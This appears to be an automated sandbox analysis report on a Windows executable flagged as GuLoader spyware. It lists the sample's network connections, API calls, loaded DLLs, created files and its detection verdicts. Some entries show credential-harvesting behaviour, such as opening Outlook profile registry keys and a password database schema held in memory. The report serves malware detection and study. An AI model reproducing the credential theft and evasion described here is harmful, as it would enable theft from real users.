Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.9:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.9:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49977 version: TLS 1.2

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004034A5

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 0_2_70091B5F	0_2_70091B5F
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_00404DCC	3_2_00404DCC
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_00406AF2	3_2_00406AF2
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_001560E0	3_2_001560E0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_00154328	3_2_00154328
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_001566B8	3_2_001566B8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_00158DA0	3_2_00158DA0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_00152DD1	3_2_00152DD1
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AC638	3_2_378AC638
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378ACCA0	3_2_378ACCA0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378A03C4	3_2_378A03C4
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378A3318	3_2_378A3318
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378A2130	3_2_378A2130
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378A7848	3_2_378A7848
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AE79F	3_2_378AE79F
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378A6E91	3_2_378A6E91
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378A6EA0	3_2_378A6EA0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378ADEE1	3_2_378ADEE1
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378ABD9C	3_2_378ABD9C
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378ACCA2	3_2_378ACCA2
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AB4EC	3_2_378AB4EC
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AEBF2	3_2_378AEBF2
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AE347	3_2_378AE347
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378ADA89	3_2_378ADA89
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AAAE8	3_2_378AAAE8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AC1F2	3_2_378AC1F2
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AB930	3_2_378AB930
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AF054	3_2_378AF054
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_378AB07F	3_2_378AB07F
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EB896	3_2_384EB896
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EA9B0	3_2_384EA9B0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EA360	3_2_384EA360
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E9D10	3_2_384E9D10
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EBDF0	3_2_384EBDF0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E8650	3_2_384E8650
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E96C8	3_2_384E96C8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E67C0	3_2_384E67C0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E1848	3_2_384E1848
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E0040	3_2_384E0040
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E1858	3_2_384E1858
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E7061	3_2_384E7061
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E7070	3_2_384E7070
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E4810	3_2_384E4810
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E4820	3_2_384E4820
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E20F8	3_2_384E20F8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E2108	3_2_384E2108
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EF120	3_2_384EF120
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EF130	3_2_384EF130
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EA9AF	3_2_384EA9AF
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E29B8	3_2_384E29B8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E3258	3_2_384E3258
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E3268	3_2_384E3268
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E5208	3_2_384E5208
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E5207	3_2_384E5207
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EBA97	3_2_384EBA97
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E5AA8	3_2_384E5AA8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E5AB8	3_2_384E5AB8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EA35F	3_2_384EA35F
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E6358	3_2_384E6358
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E6368	3_2_384E6368
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E7B62	3_2_384E7B62
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E3B08	3_2_384E3B08
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E3B18	3_2_384E3B18
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E43C8	3_2_384E43C8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E6C09	3_2_384E6C09
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E1400	3_2_384E1400
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E6C18	3_2_384E6C18
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E74C8	3_2_384E74C8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E1CA0	3_2_384E1CA0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E74B8	3_2_384E74B8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E1CB0	3_2_384E1CB0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E255F	3_2_384E255F
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E2560	3_2_384E2560
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E9D0B	3_2_384E9D0B
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E4DB2	3_2_384E4DB2
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E4DB0	3_2_384E4DB0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E8640	3_2_384E8640
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E5650	3_2_384E5650
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E5660	3_2_384E5660
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E2E00	3_2_384E2E00
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E2E10	3_2_384E2E10
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E36C2	3_2_384E36C2
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E96C3	3_2_384E96C3
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E36C0	3_2_384E36C0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E0EB9	3_2_384E0EB9
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E3F72	3_2_384E3F72
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E3F70	3_2_384E3F70
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E5F10	3_2_384E5F10
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EAFF8	3_2_384EAFF8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384EAFF7	3_2_384EAFF7
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E0FA8	3_2_384E0FA8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_384E67B0	3_2_384E67B0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_38A1D608	3_2_38A1D608
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_38A1E790	3_2_38A1E790
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_38A16FA0	3_2_38A16FA0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_38A18328	3_2_38A18328

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Code function: String function: 00402C41 appears 51 times

Source: rXKfKM0T49.exe, 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs rXKfKM0T49.exe
Source: rXKfKM0T49.exe, 00000003.00000000.1811523290.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs rXKfKM0T49.exe
Source: rXKfKM0T49.exe, 00000003.00000002.2649479506.00000000355E7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs rXKfKM0T49.exe
Source: rXKfKM0T49.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs rXKfKM0T49.exe

Source: rXKfKM0T49.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 3_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004034A5

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Code function: 0_2_00402104 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_00402104

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

File created: C:\Users\user\AppData\Local\Temp\nsoC014.tmp

Jump to behavior

Source: rXKfKM0T49.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: rXKfKM0T49.exe, 00000003.00000002.2652046885.000000003678D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: rXKfKM0T49.exe	Virustotal: Detection: 75%
Source: rXKfKM0T49.exe	ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

File read: C:\Users\user\Desktop\rXKfKM0T49.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rXKfKM0T49.exe "C:\Users\user\Desktop\rXKfKM0T49.exe"
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process created: C:\Users\user\Desktop\rXKfKM0T49.exe "C:\Users\user\Desktop\rXKfKM0T49.exe"
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process created: C:\Users\user\Desktop\rXKfKM0T49.exe "C:\Users\user\Desktop\rXKfKM0T49.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: rXKfKM0T49.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.1814401893.0000000003E6F000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2624047215.00000000022BF000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

Code function: 0_2_70091B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70091B5F

Source: C:\Users\user\Desktop\rXKfKM0T49.exe

File created: C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
